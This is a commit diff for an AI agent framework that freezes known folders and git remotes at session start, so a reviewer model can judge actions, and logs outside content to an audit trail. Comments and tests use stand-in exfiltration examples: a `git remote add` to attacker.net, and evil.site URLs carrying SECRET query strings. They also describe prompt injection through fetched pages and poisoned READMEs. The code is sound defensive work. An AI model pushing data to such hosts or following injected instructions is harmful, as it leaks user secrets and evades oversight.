Skip to content
Python

Step 1: known world frozen at session start; ingestion facts to audit only

Devika Verma186d29a3fd70
diff --git a/coworker/agent.py b/coworker/agent.py
index a04a54bf..8596b464 100644
--- a/coworker/agent.py
+++ b/coworker/agent.py
@@ -32,6 +32,7 @@ from .memory import (
)
from .permissions import Mode, PermissionEngine
from .project import load_agents_md
+from . import session_facts
from .roots import RootDir, normalize_roots, render_context
from .providers import ProviderClient, ProviderRouter
from .overrides import RiskOverrideStore
@@ -490,6 +491,17 @@ def build_engine(
engine.todo = todo # type: ignore[attr-defined]
engine.agent_name = agent.name # type: ignore[attr-defined]
engine.roots = root_list # type: ignore[attr-defined] # shared list; Slice C mutates in place
+ # Session facts (spec Part 0 / §2.4): freeze the known world NOW, before the agent has
+ # acted. Freezing is the whole point — compared against live state, an agent that runs
+ # `git remote add backup https://attacker.net/…` would make its own destination look
+ # familiar. Nothing consumes this in v1; ingestion is recorded to the audit log only.
+ engine.session_facts = session_facts.SessionFacts(
+ world=session_facts.capture(
+ roots=root_list,
+ allowed_domains=config.allowed_domains,
+ workspace=ws,
+ )
+ )
engine.audit_context = {
"session_id": session_id or "",
"agent": agent.name,
diff --git a/coworker/engine.py b/coworker/engine.py
index f8f1afb6..20ccfe10 100644
--- a/coworker/engine.py
+++ b/coworker/engine.py
@@ -20,6 +20,7 @@ from enum import Enum
from typing import Any, AsyncIterator, Awaitable, Callable, Optional
from . import compaction as _compaction
+from . import session_facts
from .events import Event, EventType
from .permissions import Mode, PermissionEngine
from .providers import AssistantTurn, ProviderClient, ToolCall
@@ -112,6 +113,11 @@ class TurnEngine:
self.compaction_state: Optional[_compaction.CompactionState] = None
self.compaction_settings: Optional[Callable[[], dict[str, Any]]] = None
self.is_attended: Optional[Callable[[], bool]] = None
+ # Session facts (spec Part 0 / §2.4) — the known world frozen at session start, plus
+ # the per-turn ingestion record. Set post-construction by the surface, same as
+ # compaction above, so the constructor footprint stays put. None ⇒ nothing recorded
+ # and behaviour is byte-identical; NOTHING consumes it in v1 either way.
+ self.session_facts: Optional[session_facts.SessionFacts] = None
self._last_context_tokens: Optional[int] = None
self.audit_context: dict[str, Any] = {}
if instructions and not (
@@ -189,6 +195,8 @@ class TurnEngine:
message["_display"] = display
self.messages.append(message)
self._cancel.clear()
+ if self.session_facts is not None:
+ self.session_facts.begin_turn()
data: dict[str, Any] = {"input": user_input}
if source is not None:
data["source"] = source
@@ -827,6 +835,7 @@ class TurnEngine:
result=result,
result_preview=_preview(result),
)
+ self._note_ingestion(tool_call, status)
rule = self._standing_notes.pop(tool_call.id, "")
return Event(
EventType.TOOL_FINISHED,
@@ -839,6 +848,25 @@ class TurnEngine:
},
)
+ def _note_ingestion(self, tool_call: ToolCall, status: str) -> None:
+ """Record that outside content entered this session, and from where. The fact and
+ the source only — never the content, not even truncated.
+
+ **Nothing consumes this in v1.** It exists so that when the reviewer is eventually
+ offered the fact (v2, `PRV-1`), the question "would it have changed a verdict?" can
+ be answered by replaying a shadow run instead of re-argued. See
+ `session_facts.py` and the spec's Part 0.
+
+ Failed calls are skipped: a fetch that errored brought nothing in.
+ """
+ if self.session_facts is None or status != "ok":
+ return
+ spec = self.registry.get(tool_call.name)
+ if not session_facts.is_ingesting(spec.metadata if spec else None):
+ return
+ record = self.session_facts.note(tool_call.name, tool_call.arguments)
+ self._audit(tool_call, **record.to_audit())
+
def _audit(self, tool_call: ToolCall, **event: Any) -> None:
if self.audit_sink is None:
return
diff --git a/coworker/session_facts.py b/coworker/session_facts.py
new file mode 100644
index 00000000..4c35802a
--- /dev/null
+++ b/coworker/session_facts.py
@@ -0,0 +1,198 @@
+"""Session facts — what was already familiar when the session began, and what arrived from
+outside since.
+
+Both are deterministic: no model is involved in producing either. **In v1 neither changes a
+decision.** The known world is rendered into the reviewer's prefix as orientation (step 2);
+ingestion goes to the audit log and nothing reads it. That is deliberate — recording it now
+means the v2 question ("would this fact have changed a verdict?") is answerable by replaying
+a shadow run instead of re-arguing it.
+
+Design of record: `ocw-context/docs/reviewed-auto-mode.md` Part 0 and §2.4.
+"""
+
+from __future__ import annotations
+
+import subprocess
+import time
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Any, Iterable, Optional
+from urllib.parse import urlsplit
+
+# Tool categories whose results carry content from outside this machine. Keyed on the
+# category rather than a list of tool names so new connectors are covered the day they ship:
+# web web_fetch, web_search
+# connector gmail, slack, notion, … — anything reading a third-party service
+# mcp third-party MCP tools, provenance unknown by construction
+# Deliberately absent: `search` (that's local `grep`), `filesystem`, `git`, `shell`.
+# `messaging` is absent too — `send_message` / `send_file` push data out, they don't pull it
+# in. Local reads are excluded on purpose: count them and every turn becomes an ingestion
+# turn, which kills the signal. The cost of that exclusion is recorded in the spec — a
+# poisoned README in a cloned repo injects with no fact at all.
+INGESTING_CATEGORIES = frozenset({"web", "connector", "mcp"})
+
+
+def is_ingesting(metadata: Any) -> bool:
+ """True when this tool's result can carry content authored outside the machine."""
+ return getattr(metadata, "category", "") in INGESTING_CATEGORIES
+
+
+def ingestion_source(arguments: dict[str, Any] | None) -> str:
+ """A short, non-identifying label for where content came from — a hostname when the
+ call names one, `-` otherwise. Never the content itself, and never a full URL: a query
+ string is exactly the kind of thing that carries a payload."""
+ raw = str((arguments or {}).get("url", "")).strip()
+ if not raw:
+ return "-"
+ return (urlsplit(raw).hostname or "-").lower()
+
+
+def _git_remotes(cwd: Path) -> tuple[tuple[str, str], ...]:
+ """`(name, url)` per remote, deduplicated (git prints fetch and push separately).
+
+ Best-effort by design: no git, not a repo, or a hang all yield an empty tuple. An empty
+ known world is a reviewer with less orientation, never a blocked session.
+ """
+ try:
+ proc = subprocess.run(
+ ["git", "remote", "-v"],
+ cwd=str(cwd),
+ capture_output=True,
+ text=True,
+ timeout=5,
+ check=False,
+ )
+ except (OSError, subprocess.SubprocessError):
+ return ()
+ seen: dict[str, str] = {}
+ for line in proc.stdout.splitlines():
+ parts = line.split()
+ if len(parts) >= 2:
+ seen.setdefault(parts[0], parts[1])
+ return tuple(seen.items())
+
+
+@dataclass(frozen=True)
+class KnownWorld:
+ """Where the user was already working when the session started. Frozen on purpose.
+
+ Freezing is what makes it useful: compared against the *live* state, an agent that runs
+ `git remote add backup https://attacker.net/r.git` would make its own destination look
+ familiar. Compared against a snapshot taken before it acted, it cannot.
+
+ "Known" means *familiar*, never *safe* — nobody decided anything, the user has simply
+ worked here before. The wording matters because the reviewer reads it: told something is
+ "trusted", a model weighs it as reassurance. (`workspace_trust.json` keeps the word
+ "trusted" because that one IS a decision.)
+ """
+
+ roots: tuple[tuple[str, bool], ...] = () # (path, writable)
+ remotes: tuple[tuple[str, str], ...] = () # (name, url)
+ hosts: tuple[str, ...] = () # NOT rendered — see `render`
+ captured_at: float = 0.0
+
+ def render(self) -> str:
+ """The block that sits in the reviewer prompt's cached prefix.
+
+ **Folders and remotes only.** Hostnames are held in `hosts` but deliberately not
+ shown: a host list is only useful to a reviewer that can answer "is this destination
+ in the list?", and that is a suffix match (`host == dom or host.endswith("." + dom)`)
+ which models get wrong and Python does not. Printing `github.com` beside an action
+ reaching `github.com.evil.site` invites the wrong answer rather than preventing it.
+ Folders and remotes carry no such trap — judging them is "is this the thing I was
+ told about?", not string arithmetic.
+
+ `hosts` is kept for `DST-1` in v2, which will surface it as one *computed* line and
+ never as a list for the model to search.
+ """
+ lines = ["KNOWN WORLD (frozen when this session started)"]
+ for path, writable in self.roots:
+ lines.append(
+ f" folder {path} [{'read-write' if writable else 'read-only'}]"
+ )
+ for name, url in self.remotes:
+ lines.append(f" remote {name} -> {url}")
+ return "\n".join(lines) if len(lines) > 1 else ""
+
+
+def capture(
+ *,
+ roots: Iterable[Any] | None = None,
+ allowed_domains: Iterable[str] | None = None,
+ workspace: Optional[Path] = None,
+) -> KnownWorld:
+ """Take the snapshot. Called once, at session start, before the agent has acted."""
+ root_list = list(roots or [])
+ rendered_roots = tuple(
+ (str(getattr(r, "path", r)), bool(getattr(r, "writable", False)))
+ for r in root_list
+ )
+
+ cwd = workspace
+ if cwd is None and root_list:
+ cwd = Path(str(getattr(root_list[0], "path", root_list[0])))
+ remotes = _git_remotes(cwd) if cwd else ()
+
+ hosts = {d.strip().lower() for d in (allowed_domains or []) if d and d.strip()}
+ for _name, url in remotes:
+ host = urlsplit(url if "://" in url else "//" + url.replace(":", "/", 1)).hostname
+ if host:
+ hosts.add(host.lower())
+
+ return KnownWorld(
+ roots=rendered_roots,
+ remotes=remotes,
+ hosts=tuple(sorted(hosts)),
+ captured_at=time.time(),
+ )
+
+
+@dataclass
+class Ingestion:
+ """One arrival of outside content. The fact and its source — never the content.
+
+ Two properties worth keeping in mind before anything consumes this:
+
+ * **It never accuses.** The record is identical for an agent following a documentation
+ link found in an issue and for one running an injected `curl`, because in both cases
+ the agent really did read that issue. It raises the burden of proof; judging scope is
+ what separates the two.
+ * **Its absence is not proof of a clean session.** Local reads are excluded, so a
+ poisoned file already in the workspace produces no record at all.
+ """
+
+ turn: int
+ tool: str
+ source: str
+
+ def to_audit(self) -> dict[str, Any]:
+ return {
+ "stage": "ingested",
+ "status": "external",
+ "reason": f"turn {self.turn} · {self.source}",
+ }
+
+
+@dataclass
+class SessionFacts:
+ """The known world plus the per-turn ingestion record.
+
+ `turn` is bumped by the engine at the start of each user turn so ingestion can be
+ attributed. Nothing in v1 reads `ingestions` — it exists so the audit log has a
+ baseline; see the module docstring.
+ """
+
+ world: KnownWorld = field(default_factory=KnownWorld)
+ turn: int = 0
+ ingestions: list[Ingestion] = field(default_factory=list)
+
+ def begin_turn(self) -> None:
+ self.turn += 1
+
+ def note(self, tool: str, arguments: dict[str, Any] | None) -> Ingestion:
+ record = Ingestion(self.turn, tool, ingestion_source(arguments))
+ self.ingestions.append(record)
+ return record
+
+ def this_turn(self) -> list[Ingestion]:
+ return [i for i in self.ingestions if i.turn == self.turn]
diff --git a/tests/test_session_facts.py b/tests/test_session_facts.py
new file mode 100644
index 00000000..fd4a4a0c
--- /dev/null
+++ b/tests/test_session_facts.py
@@ -0,0 +1,248 @@
+"""Step 1 of Auto-Approve (spec Part 0 / §2.4): the known world frozen at session start,
+plus ingestion facts recorded to the audit log — and NOTHING consuming either. The main
+guarantee under test is that behaviour is unchanged; the golden decision table
+(test_decision_matrix_golden.py) is the other half of that proof.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import subprocess
+from dataclasses import dataclass
+
+import pytest
+
+from coworker import session_facts
+from coworker.engine import TurnEngine
+from coworker.events import EventType
+from coworker.permissions import PermissionEngine
+from coworker.providers import AssistantTurn, ModelCapabilities, ProviderClient, ToolCall
+from coworker.roots import RootDir
+from coworker.tools import ToolRegistry
+
+
+@dataclass
+class _Meta:
+ category: str = ""
+ requires_approval: bool = False
+
+
+# -- KnownWorld: capture ---------------------------------------------------------
+
+
+def _git(tmp_path, *args):
+ subprocess.run(["git", *args], cwd=tmp_path, check=True, capture_output=True)
+
+
+def test_capture_collects_roots_remotes_and_hosts(tmp_path):
+ _git(tmp_path, "init")
+ _git(tmp_path, "remote", "add", "origin", "https://github.com/org/repo.git")
+
+ world = session_facts.capture(
+ roots=[RootDir(path=tmp_path, writable=True)],
+ allowed_domains=["Python.org", " ", ""],
+ workspace=tmp_path,
+ )
+
+ assert world.roots == ((str(tmp_path), True),)
+ assert world.remotes == (("origin", "https://github.com/org/repo.git"),)
+ # Hosts: declared domains (normalized) + remote hosts. Held, not rendered.
+ assert world.hosts == ("github.com", "python.org")
+
+
+def test_capture_without_git_repo_is_empty_not_an_error(tmp_path):
+ world = session_facts.capture(
+ roots=[RootDir(path=tmp_path, writable=False)], workspace=tmp_path
+ )
+ assert world.remotes == ()
+ assert world.roots == ((str(tmp_path), False),)
+
+
+def test_capture_is_frozen_a_remote_added_later_stays_unknown(tmp_path):
+ _git(tmp_path, "init")
+ world = session_facts.capture(roots=[], workspace=tmp_path)
+ # The agent repoints the world AFTER the snapshot — the snapshot must not move.
+ _git(tmp_path, "remote", "add", "backup", "https://attacker.net/r.git")
+ assert world.remotes == ()
+ assert "attacker.net" not in world.hosts
+
+
+# -- KnownWorld: render (folders and remotes ONLY) -------------------------------
+
+
+def test_render_shows_folders_and_remotes_never_hosts(tmp_path):
+ world = session_facts.KnownWorld(
+ roots=((str(tmp_path), True),),
+ remotes=(("origin", "https://github.com/org/repo.git"),),
+ hosts=("github.com", "python.org"),
+ )
+ text = world.render()
+ assert f"folder {tmp_path} [read-write]" in text
+ # The remote line may mention its own URL's host — that is the remote, not a host list.
+ assert "origin -> https://github.com/org/repo.git" in text
+ # But no host list: python.org came only from allowed_domains and must not appear.
+ assert "python.org" not in text
+ assert "host" not in text.lower().replace("github.com/org", "")
+
+
+def test_render_empty_world_renders_nothing(tmp_path):
+ assert session_facts.KnownWorld().render() == ""
+
+
+# -- ingestion classification ----------------------------------------------------
+
+
[email protected]("category", ["web", "connector", "mcp"])
+def test_outside_content_categories_are_ingesting(category):
+ assert session_facts.is_ingesting(_Meta(category=category))
+
+
[email protected]("category", ["", "search", "filesystem", "git", "shell", "messaging"])
+def test_local_and_outbound_categories_are_not(category):
+ assert not session_facts.is_ingesting(_Meta(category=category))
+
+
+def test_no_metadata_is_not_ingesting():
+ assert not session_facts.is_ingesting(None)
+
+
+def test_source_is_hostname_only_never_the_query_string():
+ src = session_facts.ingestion_source(
+ {"url": "https://GitHub.com/search?q=SECRET_FROM_DOTENV"}
+ )
+ assert src == "github.com"
+
+
+def test_source_without_url_is_a_dash():
+ assert session_facts.ingestion_source({}) == "-"
+ assert session_facts.ingestion_source(None) == "-"
+
+
+# -- SessionFacts: turns ---------------------------------------------------------
+
+
+def test_ingestions_are_attributed_to_turns():
+ facts = session_facts.SessionFacts()
+ facts.begin_turn()
+ facts.note("web_fetch", {"url": "https://github.com/x"})
+ facts.begin_turn()
+ facts.note("gmail_read", {})
+ assert [i.turn for i in facts.ingestions] == [1, 2]
+ assert [i.source for i in facts.this_turn()] == ["-"]
+
+
+def test_audit_shape_carries_fact_and_source_never_content():
+ facts = session_facts.SessionFacts()
+ facts.begin_turn()
+ record = facts.note("web_fetch", {"url": "https://evil.site/x?d=SECRET"})
+ row = record.to_audit()
+ assert row == {"stage": "ingested", "status": "external", "reason": "turn 1 · evil.site"}
+ assert "SECRET" not in str(row)
+
+
+# -- engine integration ----------------------------------------------------------
+
+
+class _ScriptedProvider(ProviderClient):
+ def __init__(self, turns):
+ self._turns = list(turns)
+
+ def complete(self, *, model, messages, tools=None, **settings):
+ return self._turns.pop(0)
+
+ def capabilities(self, model):
+ return ModelCapabilities()
+
+
+def _engine_with_web_tool(tmp_path, *, facts):
+ def web_fetch(url: str) -> str:
+ """Fetch a page.
+
+ Args:
+ url: the address
+ """
+ return "page text with an injected instruction"
+
+ registry = ToolRegistry()
+ registry.register(web_fetch, metadata=_Meta(category="web"))
+ turns = [
+ AssistantTurn(
+ tool_calls=[ToolCall(id="c1", name="web_fetch", arguments={"url": "https://github.com/org/repo/issues/42"})],
+ finish_reason="tool_calls",
+ ),
+ AssistantTurn(text="done", finish_reason="stop"),
+ ]
+ rows: list[dict] = []
+ engine = TurnEngine(
+ provider=_ScriptedProvider(turns),
+ registry=registry,
+ permissions=PermissionEngine(
+ workspace_root=tmp_path, allowed_domains=["github.com"]
+ ),
+ model="test-model",
+ audit_sink=rows.append,
+ )
+ engine.session_facts = facts
+ return engine, rows
+
+
+def _run(engine):
+ async def _go():
+ return [ev async for ev in engine.run("read the issue")]
+
+ return asyncio.run(_go())
+
+
+def test_engine_records_ingestion_to_audit_only(tmp_path):
+ facts = session_facts.SessionFacts()
+ engine, rows = _engine_with_web_tool(tmp_path, facts=facts)
+ events = _run(engine)
+
+ ingested = [r for r in rows if r.get("stage") == "ingested"]
+ assert len(ingested) == 1
+ assert ingested[0]["reason"] == "turn 1 · github.com"
+ assert ingested[0]["status"] == "external"
+ assert facts.this_turn()[0].source == "github.com"
+ # The fetched text never enters the record.
+ assert "injected instruction" not in str(ingested)
+ # And the turn itself ran normally — recording changed nothing.
+ assert EventType.TOOL_FINISHED in [ev.type for ev in events]
+
+
+def test_engine_without_session_facts_is_byte_identical(tmp_path):
+ engine, rows = _engine_with_web_tool(tmp_path, facts=None)
+ events = _run(engine)
+ assert [r for r in rows if r.get("stage") == "ingested"] == []
+ assert EventType.TOOL_FINISHED in [ev.type for ev in events]
+
+
+def test_failed_calls_bring_nothing_in(tmp_path):
+ def web_fetch(url: str) -> str:
+ """Fetch a page.
+
+ Args:
+ url: the address
+ """
+ raise RuntimeError("boom")
+
+ registry = ToolRegistry()
+ registry.register(web_fetch, metadata=_Meta(category="web"))
+ rows: list[dict] = []
+ engine = TurnEngine(
+ provider=_ScriptedProvider(
+ [
+ AssistantTurn(
+ tool_calls=[ToolCall(id="c1", name="web_fetch", arguments={"url": "https://x.com/"})],
+ finish_reason="tool_calls",
+ ),
+ AssistantTurn(text="done", finish_reason="stop"),
+ ]
+ ),
+ registry=registry,
+ permissions=PermissionEngine(workspace_root=tmp_path, allowed_domains=["x.com"]),
+ model="test-model",
+ audit_sink=rows.append,
+ )
+ engine.session_facts = session_facts.SessionFacts()
+ _run(engine)
+ assert [r for r in rows if r.get("stage") == "ingested"] == []